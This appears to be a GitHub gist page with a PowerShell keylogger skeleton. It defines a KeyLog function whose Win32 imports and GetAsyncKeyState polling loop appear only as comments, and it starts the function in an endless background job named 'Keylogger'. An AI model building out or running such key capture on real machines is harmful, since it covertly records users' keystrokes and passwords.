Skip to content

Instantly share code, notes, and snippets.

@secabstraction
Last active January 19, 2016 16:22
Show Gist options
  • Save secabstraction/601155af5a0080ff77de to your computer and use it in GitHub Desktop.
Save secabstraction/601155af5a0080ff77de to your computer and use it in GitHub Desktop.
$Initilizer = {
function KeyLog {
# Win32 Imports
Start-Sleep -Milliseconds $PollingInterval
# Excessive GetAsyncKeyState loop to check for pressed keys
}
}
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment